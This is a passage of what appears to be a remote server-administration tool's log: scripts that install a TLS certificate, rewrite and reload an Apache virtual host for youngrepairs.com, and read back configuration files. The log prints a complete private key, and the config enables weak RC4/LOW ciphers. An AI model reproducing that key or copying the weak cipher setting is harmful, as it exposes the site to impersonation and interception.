WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-04 06:00:30: 

chmod 755 /tmp/pkp912352; /tmp/pkp912352; rm /tmp/pkp912352

2026-07-04 06:00:30: 


dir=/etc/ssl/certs


2026-07-04 06:00:30: 

PUT: /tmp/pkp972635

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-04 06:00:31: 

chmod 755 /tmp/pkp972635; /tmp/pkp972635; rm /tmp/pkp972635

2026-07-04 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf 44
<VirtualHost *:80>
    ServerName  youngrepairs.com
    ServerAdmin do_not_email@example.com
    ServerAlias www.youngrepairs.com
    DocumentRoot        /var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Order   allow,deny
        allow   from all
    </Directory>

    CustomLog   /var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog    /var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid      4
    SetEnv pkp_owner    phil

    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName  youngrepairs.com
    ServerAdmin do_not_email@example.com
    ServerAlias www.youngrepairs.com
    SSLEngine   on
    SSLProtocol all -SSLv2
    SSLCipherSuite      ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile  /etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot        /var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Order   allow,deny
        allow   from all
    </Directory>

    CustomLog   /var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog    /var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid
    SetEnv pkp_owner

</VirtualHost>





2026-07-04 06:00:31: 

PUT: /tmp/pkp473918

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=/etc/apache2/sites-enabled/youngrepairs_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf= 1'
fi


2026-07-04 06:00:31: 

chmod 755 /tmp/pkp473918; /tmp/pkp473918; rm /tmp/pkp473918

2026-07-04 06:00:32: 




2026-07-04 06:00:32: 

PUT: /tmp/pkp292434

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-04 06:00:32: 

chmod 755 /tmp/pkp292434; /tmp/pkp292434; rm /tmp/pkp292434

2026-07-04 06:00:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-04 06:00:32: Establishing a connection
2026-07-04 06:00:33: 

PUT: /tmp/pkp520048

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-04 06:00:34: 

chmod 755 /tmp/pkp520048; /tmp/pkp520048; rm /tmp/pkp520048

2026-07-04 06:00:35: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:1)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:21)
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:23)
                 alias www.youngrepairs.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-04 06:00:35: 

PUT: /tmp/pkp747272

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-04 06:00:35: 

chmod 755 /tmp/pkp747272; /tmp/pkp747272; rm /tmp/pkp747272

2026-07-04 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf	1430
<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>







2026-07-04 06:00:35: 

PUT: /tmp/pkp923021

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-04 06:00:36: 

chmod 755 /tmp/pkp923021; /tmp/pkp923021; rm /tmp/pkp923021

2026-07-04 06:00:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt	7449
b1:fe:90:09:b3:bc:33:9b:d8:4e:f4:47:34:21:82:53

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBRAqJKQU1Hzj+vYRnUOORiIVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA0MDUwMTU1WhcNMjYxMDAyMDUwMTU0WjAbMRkwFwYDVQQD
ExB5b3VuZ3JlcGFpcnMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAu6OEATO8behu1gLlkU5hXGHL3AvgqEZF7hhCuxdv94SgMn8kYuBg0/S7zT1/
0FfMOJMy/l5kXyso1VbW+gD+v30Hach/IchPMOr/TmSpIS00FaQD2amc7kVbl/t8
VnZu07JwPGeoxkC8AwFX0v5zceDwoMlSzq5IZn1K0L0VjbRSl7PjvEqB2Ket46SG
78Av9NhAXLGx9g6pPIYbZ2ihMSVLn87QTUHeQDqyFhqvDcdwbddbm9bhpwkvlIyr
BuCrSQA34SqHuN/pyqFMalmJthZ7EzSyONKWr1EwuTgbOFJxV5SNGsZtAqHFbdV7
Snido87KVydM78Buxd7UTJxfAwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFAMK
L75NhgNry9peGjJnPFTADmu6MB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxVePr3
1Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIUd3d3LnlvdW5ncmVwYWlycy5jb22CEHlvdW5n
cmVwYWlycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yMi5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ8r
tsQ/AAAEAwBHMEUCIQDqcju0Mu0X2gqRiF/qv9LlnS/Gk6v0mBZ3gqok94jPBQIg
cb+uPdhTZa8NbsXPc6Joe4CZTjlyjHuxRqilEk9A0pwAfwAm42RuWGkhI7w0P0ck
NZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ8rtsI5AAgAAAUAJTbNGwQDAEgwRgIhAMj6
0B2Ao8kDHVr02LotiyjsAMcV99Pg1B6XVZpRab6TAiEAqMQz/Fc5+IKUqRwW7VoJ
VbPE4QHjCVlC3LlheIJngyEwDQYJKoZIhvcNAQELBQADggEBAB1tA/AZBoqZ0Jr1
V5yAbAbt7/9uAisNm2R/uwTODIUo6HSsdpO0dp5OA1piNRomVVh6sOzBccXYj2K1
4gybZdtgAg7XYMyhTy4KOB63GhX3jPGuuZQWqqV/FJp+Hgkr6hCpeUx7+kXlltum
AfuuDk6GP9BZakJ5PZ+KDptRwIdTQrC1Lu1xkBA0CX37lY0rbhuMCebu8jqO0fOG
EhtUBIs/mvw+ndkGZ5QYS7FxBNrj1FhmsgXqXFqqMq9ZUIdfrS3+UbiAgouOAoAB
O1p++sySoDZhi+GafAhNB1vihLx24m6YpZTLGY2FeHBZ2rg/DYCCmT2wqvcd94cZ
UIVsK1U=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC7o4QBM7xt6G7W
AuWRTmFcYcvcC+CoRkXuGEK7F2/3hKAyfyRi4GDT9LvNPX/QV8w4kzL+XmRfKyjV
Vtb6AP6/fQdpyH8hyE8w6v9OZKkhLTQVpAPZqZzuRVuX+3xWdm7TsnA8Z6jGQLwD
AVfS/nNx4PCgyVLOrkhmfUrQvRWNtFKXs+O8SoHYp63jpIbvwC/02EBcsbH2Dqk8
hhtnaKExJUufztBNQd5AOrIWGq8Nx3Bt11ub1uGnCS+UjKsG4KtJADfhKoe43+nK
oUxqWYm2FnsTNLI40pavUTC5OBs4UnFXlI0axm0CocVt1XtKeJ2jzspXJ0zvwG7F
3tRMnF8DAgMBAAECggEATNnqBPwFnxZl3u2MzPjHU6kSb+vFdeZiWeRB4JL23u/J
FSWR55Vy0x0XljYsFU8Aa+OOLTTH81qf/ND2d6rUq+UvlhnySAnctXJqYtdDlj0H
ah2lHg8kIUry+sqb4GXdeoNJCNSEAb8dwjVYnShubCPvKkuKyPAE40VJ0TjAjSqs
CklYVB6g5hWMZSszqr8XVrtEJNEidMC+ZBfHt+qL66cmQtcAolDh082bK43Pn2V0
wsRVrcVy4BENM/I11lkEbC7zywrvDcbBzJRVWEHMu4gvR/1EHQBH6DIvNjni02Ga
CU5GaiIsftcL5xDSVm5U6lj9amsnrU944eIGvDkQQQKBgQDpq9KUwKvaxJD67/IS
ThuZemUuHoynbVrJqubU//A3A9O0nwUTVCgvNIWalGqzGHxP95es8Ncirm4DGRXZ
oDcUA90fNCtb3E1dfOyWih/4Hj9P9dwS5bAS17QwwSTTxqUU9WYFAijD3XfOGzcd
RW/9vY1nBmaH4X0XLruU8RNn0QKBgQDNkaACpskyxiBnRrapwS9fqN8LTH7jrh2S
4YsFBPd43NBSfL3g+SmDqeEWbWbcL/6nwXzP5Rbld99acUitueo1T4UGiS/UZdqi
jQNf8HJJf2DNiHa9eqdSmy8iy5obdw1ZiGKbn+gB6JtDFf4gm0wAlP+j3pYPk1+l
oXLIWU4ikwKBgQDbM9NkteXBYNp8fLECWQFtFbNq8z+RJHWhb1ABimKmyVFFRFO3
kR/tQIEAxK/feF3Nin9fvcKjhywufc7Qi4p/nSxGxGLUVrLAu5sZkVNyJ7XO5d3g
YFWvJ2iiv90zSUq9gYOFuUPSkaR81Wz7aZMoXjQS7J8sYuw83hscGpbQsQKBgH8R
+IYLES3ImPkeFgWi/CS2n4E9fOZCl9dWgffNVSgp3sBOiZUKj+XqWc/iOoX7SP/r
s7pS0y9vROqEQjfZR3RCvmkG3kD94QNABYkFebADBBSouTVxHwMKGD36+zzk/6SL
kODAHMspPOhgLOF8/aMSd1+VVM81+xbIUMqVoZ3vAoGAASHF8Jt8Z2OtgKzZ3b1j
eoHWf+QPwH6acW4z9+EHXR2eqOGjRz3biyX9rcyu3lER9YBdze+BN5fBfSX46y4h
5VXJ+IrXVvdDXEmhVF+EbXy14+5gRQZZgpPakh3qIYA/8J7d7t/aeJuW6I87xbo2
rmsU523CMLFVDgxZRadEJ6w=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-04 13:37:27: Establishing a connection
2026-07-04 13:37:34: Establishing a connection
2026-07-04 13:37:34: 

PUT: /tmp/pkp206600

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
